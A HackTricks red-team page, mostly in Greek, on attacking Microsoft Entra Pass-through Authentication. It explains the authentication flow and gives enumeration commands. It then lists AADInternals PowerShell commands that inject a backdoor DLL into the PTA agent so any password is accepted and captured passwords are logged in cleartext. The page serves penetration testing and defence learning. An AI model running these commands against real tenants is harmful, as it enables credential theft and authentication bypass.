Az - PTA - Pass-through Authentication

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Basic Information

From the docs: Η Microsoft Entra pass-through authentication επιτρέπει στους χρήστες σας να συνδέονται σε εφαρμογές τόσο τοπικές όσο και βασισμένες στο cloud χρησιμοποιώντας τους ίδιους κωδικούς πρόσβασης. Αυτή η δυνατότητα παρέχει στους χρήστες σας μια καλύτερη εμπειρία - ένας λιγότερος κωδικός πρόσβασης για να θυμούνται, και μειώνει τα κόστη του IT helpdesk επειδή οι χρήστες σας είναι λιγότερο πιθανό να ξεχάσουν πώς να συνδεθούν. Όταν οι χρήστες συνδέονται χρησιμοποιώντας το Microsoft Entra ID, αυτή η δυνατότητα επικυρώνει τους κωδικούς πρόσβασης των χρηστών απευθείας με το τοπικό Active Directory σας.

Στην PTA οι ταυτότητες είναι συγχρονισμένες αλλά οι κωδικοί πρόσβασης δεν είναι όπως στην PHS.

Η αυθεντικοποίηση επικυρώνεται στο τοπικό AD και η επικοινωνία με το cloud γίνεται μέσω ενός authentication agent που εκτελείται σε έναν τοπικό διακομιστή (δεν χρειάζεται να είναι στον τοπικό DC).

Authentication flow

  1. Για να συνδεθεί ο χρήστης ανακατευθύνεται στο Azure AD, όπου στέλνει το όνομα χρήστη και τον κωδικό πρόσβασης
  2. Τα διαπιστευτήρια είναι κρυπτογραφημένα και τοποθετούνται σε μια ουρά στο Azure AD
  3. Ο τοπικός authentication agent συλλέγει τα διαπιστευτήρια από την ουρά και τα αποκρυπτογραφεί. Αυτός ο πράκτορας ονομάζεται “Pass-through authentication agent” ή PTA agent.
  4. Ο πράκτορας επικυρώνει τα διαπιστευτήρια με το τοπικό AD και στέλνει την απάντηση πίσω στο Azure AD, το οποίο, αν η απάντηση είναι θετική, ολοκληρώνει τη σύνδεση του χρήστη.

Warning

Εάν ένας επιτιθέμενος παραβιάσει την PTA μπορεί να δεί όλα τα διαπιστευτήρια από την ουρά (σε καθαρό κείμενο).
Μπορεί επίσης να επικυρώσει οποιαδήποτε διαπιστευτήρια στο AzureAD (παρόμοια επίθεση με το Skeleton key).

Enumeration

From Entra ID:

az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}

Ελέγξτε αν ο πράκτορας εκτελείται στον τοπικό διακομιστή:

Get-Service -Name "AzureADConnectAuthenticationAgent"

Pivoting

Αν έχετε admin πρόσβαση στον Azure AD Connect server με τον PTA agent να τρέχει, μπορείτε να χρησιμοποιήσετε το AADInternals module για να εισάγετε ένα backdoor που θα επικυρώνει ΟΛΟΥΣ τους κωδικούς πρόσβασης που εισάγονται (έτσι όλοι οι κωδικοί πρόσβασης θα είναι έγκυροι για αυθεντικοποίηση):

Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text

Remove-AADIntPTASpy # Remove the backdoor

Note

Αν η εγκατάσταση αποτύχει, αυτό πιθανώς οφείλεται σε ελλείποντα Microsoft Visual C++ 2015 Redistributables.

Αυτή η πίσω πόρτα θα:

  • Δημιουργήσει έναν κρυφό φάκελο C:\PTASpy
  • Αντιγράψει ένα PTASpy.dll στο C:\PTASpy
  • Εισάγει το PTASpy.dll στη διαδικασία AzureADConnectAuthenticationAgentService

Note

Όταν η υπηρεσία AzureADConnectAuthenticationAgent επανεκκινείται, το PTASpy “απεγκαθίσταται” και πρέπει να επανεγκατασταθεί.

Caution

Μετά την απόκτηση GA privileges στο cloud, είναι δυνατό να καταχωρηθεί ένας νέος PTA agent και μπορεί να επανεπαναληφθούν τα προηγούμενα βήματα για αυθεντικοποίηση χρησιμοποιώντας οποιονδήποτε κωδικό πρόσβασης και επίσης, να αποκτηθούν οι κωδικοί πρόσβασης σε καθαρό κείμενο.

Seamless SSO

Είναι δυνατό να χρησιμοποιηθεί το Seamless SSO με PTA, το οποίο είναι ευάλωτο σε άλλες καταχρήσεις. Ελέγξτε το στο:

Az - Seamless SSO

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks